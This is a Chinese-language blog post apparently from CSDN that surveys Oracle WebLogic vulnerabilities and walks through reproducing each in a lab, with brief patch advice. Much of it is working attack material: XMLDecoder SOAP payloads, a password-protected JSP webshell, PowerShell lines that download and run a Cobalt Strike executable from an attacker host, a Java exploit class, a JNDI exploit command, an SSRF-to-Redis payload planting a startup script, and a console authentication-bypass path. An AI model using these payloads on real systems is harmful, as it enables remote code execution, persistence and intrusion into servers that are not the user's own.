weblogic中间件漏洞汇总

本文详细介绍了Oracle WebLogic Server的反序列化漏洞、SSRF、未授权访问和War后门文件部署等安全问题,包括漏洞原理、影响范围、复现步骤及防御措施。例如,CVE-2017-10271和CVE-2019-2725涉及的反序列化漏洞,以及CVE-2014-4210的SSRF漏洞,提醒用户及时打补丁并加强系统安全配置。
摘要由CSDN通过智能技术生成


一、weblogic是什么?

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

二、安装环境

各位看官下载请认准这个站:https://www.oracle.com/cn/middleware/technologies/weblogic/wls-main.html

1、下载weblogic

有以下两个可进行选择,硬件好的可以下第一个,我就选个小的就好,两个都可以复现
在这里插入图片描述

2、安装(其实就是点点点啦)

下载好后打开exe,我把需要选择的地方全部截出来了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
启动的话,安装结束后可直接勾选服务器,或者执行Oracle\Middleware\user_projects\domains\base_domain下的startWebLogic.cmd
在这里插入图片描述
在这里插入图片描述
在中红框位置输入你安装时候的用户和口令
在这里插入图片描述
等一小会,访问http://192.168.50.167:7001/console,你就可以看到如下页面,那就恭喜你安装完成了
在这里插入图片描述

三、反序列化漏洞

1、XMLDecoder(CVE-2017-10271

漏洞原理
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞影响

10.3.6.0
12.1.3.0.0
12.2.1.1.0

漏洞验证
访问 /wls-wsat/CoordinatorPortType ,出现如下图所示的回显时,说明存在该漏洞;在wls-wsat包中,web.xml文件里的url均受影响
在这里插入图片描述
Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
在这里插入图片描述

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞复现
burp抓包,改包(包头得加上Content-type:text/xml)
第一个字符串为文件相对路径和创建的文件名,第二个字符串为文件内容

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
	 <soapenv:Header>
 		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
			 <java><java version="1.4.0" class="java.beans.XMLDecoder">
 				<object class="java.io.PrintWriter"> 
				 <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/1.txt</string>
 					<void method="println">
				 <string>
				 	123123123
				 </string>
 			</void>
			 <void method="close"/>
 		</object></java></java>
 	</work:WorkContext>
 	</soapenv:Header>
 	<soapenv:Body/>
</soapenv:Envelope>

在这里插入图片描述
发包后进行访问http://192.168.50.167:7001/bea_wls_internal/1.txt,发现写的内容已经上去了
在这里插入图片描述
改成一句话木马(由于<和&在xml是非法的,所以得加上<![CDATA[ ]]>)

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

在这里插入图片描述
访问/xd1.jsp?pwd=023&i=whoami
在这里插入图片描述
防御
打官网补丁

2、XMLDecoder (CVE-2017-3506

漏洞原理
cve-2017-3506与10271他们的漏洞原理是一样的,只不过10271绕过了3506的补丁,CVE-2017-3506的补丁加了验证函数,验证Payload中的节点是否存在object Tag
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.0
12.2.1.1
12.2.1.2

漏洞复现
写cmd命令执行
在这里插入图片描述
写好后访问/xd3.jsp
在这里插入图片描述
再看容器发现计算器弹出来了
在这里插入图片描述
防御
打官网补丁

3、wls-wsat远程代码执行(CVE-2019-2725

漏洞原理
此漏洞实际上是CVE-2017-10271的又一入口,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。
影响组件

bea_wls9_async_response.war
wsat.war

漏洞影响

10.3.x
12.1.3

漏洞验证
访问 /_async/AsyncResponseService(/wls-wsat),返回200则存在
在这里插入图片描述
_async(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml)
在这里插入图片描述

/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceJms
/_async/AsyncResponseService
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Https

wls-wsat(Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml)
在这里插入图片描述

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞复现

win上线cs

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"  xmlns:asy="http://www.bea.com/async/AsyncResponseService" >
	<soapenv:Header>
		<wsa:Action>xx</wsa:Action>
		<wsa:RelatesTo>xx</wsa:RelatesTo>
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
		<void class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="3">
			<void index="0">
				<string>powershell</string>
			</void>
			<void index="1">
				<string>-Command</string>
			</void>
			<void index="2">
				<string>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.72:12345/xd.exe','xd.exe');start-process xd.exe</string>
			</void>
		</array>
		<void method="start"/></void>
		</work:WorkContext>
	</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述

防御

  1. 打官方补丁
  2. 升级本地jdk环境

4、T3协议命令执行(CVE-2018-2628

漏洞原理
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2

漏洞验证
poc、exp:https://github.com/jas502n/CVE-2018-2628
python CVE-2018-2628-poc.py 192.168.50.167 7001(py2)
当出现红框内容说明存在
在这里插入图片描述

漏洞复现
我改了下目录,所以跑出来的链接可能与我不同,但是你没错
在这里插入图片描述
在这里插入图片描述
防御
过滤T3协议,选择安全->筛选器,填入,最后保存重启即可

weblogic.security.net.ConnectionFilterImpl

在这里插入图片描述

5、 IIOP(CVE-2020-2551

漏洞原理
2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4

漏洞复现
反序列化工具:https://github.com/RandomRobbieBF/marshalsec-jar
exp:https://github.com/Y4er/CVE-2020-2551
需要jdk1.8的环境编译下面这个文件exp.java,生成exp.class,在这个目录下启动python简易web服务,并启动marshalsec

import java.io.IOException;
public class exp {
	static{
		try{
			java.lang.Runtime.getRuntime().exec("powershell -c (new-object System.Net.WebClient).DownloadFile('http://192.168.50.129/xd','1')");
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	public static void main(String[] args){
	}
}

在这里插入图片描述
都启动后运行exp程序

java -jar weblogic_CVE_2020_2551.jar 192.168.50.167 7001 rmi://192.168.50.129:12345/exp
在这里插入图片描述

防御
打官方补丁

四、SSRF

1、SSRF(CVE-2014-4210

漏洞原理
Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等
漏洞影响

10.0.2.0
10.3.6.0

漏洞验证
访问该路径存在则说明有漏洞 /uddiexplorer/SearchPublicRegistries.jsp
在这里插入图片描述
漏洞复现
burp抓包,修改operator为http://127.0.0.1:7001/

An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.

在这里插入图片描述
换一个未开放端口(7002)

An error has occurred
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'

在这里插入图片描述

2. SSRF联动Redis

漏洞复现
payload

http://192.168.50.136:6379/x
set 1 “\r\n\r\necho invoke-expression((new-object net.webclient).downloadstring(‘http://192.168.50.129:80/a’)) | powershell -\r\n\r\n”
config set dir ‘C:\Users\Xd\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup’
config set dbfilename xd.bat
save
d

在这里插入图片描述
在这里插入图片描述
内网主机重启上线cs
在这里插入图片描述

3、防御

升级版本

五、未授权访问

1、Web Service Test Page(CVE-2018-2894

漏洞原理
Weblogic Web Service Test Page中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,在生产模式下默认不开启,如果是生产模式,需要登陆后台进行勾选启动web服务测试页
在这里插入图片描述

漏洞影响

10.3.6
12.1.3
12.2.1.2
12.2.1.3

漏洞验证
访问

/ws_utc/config.do
/ws_utc/begin.do

漏洞复现

  1. /ws_utc/config.do
    默认 Work Home Dir目录无法执行webshell,所以更换一个可以执行的目录
    C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war
    在这里插入图片描述
    点击左边安全,然后添加
    在这里插入图片描述
    查看文件时间戳
    在这里插入图片描述
    上传文件在bea_wls_internal的war包config/keystore/{时间戳}_{文件名}
    在这里插入图片描述

  2. /ws_utc/begin.do
    该页面默认工作目录和上面设置的默认工作目录是一样的
    在这里插入图片描述
    String dirName = “RS_Upload_” + df.format(new Date());
    /upload/RS_Upload_(当前时间到毫秒)/import_file_name_{文件名}
    bea_wls_internal/upload/RS_Upload_2021-11-24_14-30-12_307/import_file_name_1.jsp
    在这里插入图片描述
    在这里插入图片描述

防御

  1. 启动生产模式后Config.do页面登录授权后才可访问
  2. 升级到最新版本

2、Console HTTP协议远程代码执行(CVE-2020-14882/CVE-2020-14883

漏洞原理
CVE-2020-14883:允许未授权的用户通过目录穿越结合双重URL编码的方式来绕过管理控制台的权限验证访问后台。
CVE-2020-14882:允许后台任意用户通过HTTP协议执行任意命令。
漏洞影响

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0

漏洞复现
CVE-2020-14883: 权限绕过漏洞的poc:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
在这里插入图片描述
CVE-2020-14882用到的恶意类
com.tangosol.coherence.mvel2.sh.ShellSession(Weblogic 12.2.1以上版本才能利用
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(通杀
FileSystemXmlApplicationContext类原理:该类会远程加载目标服务器上的XML文件并进行解析,其中可以指定解析的Bean为ProcessBuilder类及其start()函数、构造函数参数为恶意命令,进而实现RCE。

利用py启动一个简易的web服务
在这里插入图片描述
让其访问该web服务中不存在的文件
在这里插入图片描述
发现服务器对我web服务发起请求
在这里插入图片描述
于是制作cs马

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>powershell</value>
        <value>-command</value>
        <value>(new-object System.Net.WebClient).DownloadFile('http://192.168.50.129:12345/xd.exe','xd.exe');start-process xd.exe</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

在pyload目录下启动一个端口的py web服务,并把cs的exe文件放在该目录下,等待目标请求
在这里插入图片描述

六、War后门文件部署

1、后台弱口令getshell

漏洞原理
后台存在弱口令或默认用户名/口令

漏洞复现
点击部署->安装
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

防御
修改强口令

大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字

5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u


评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全混子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值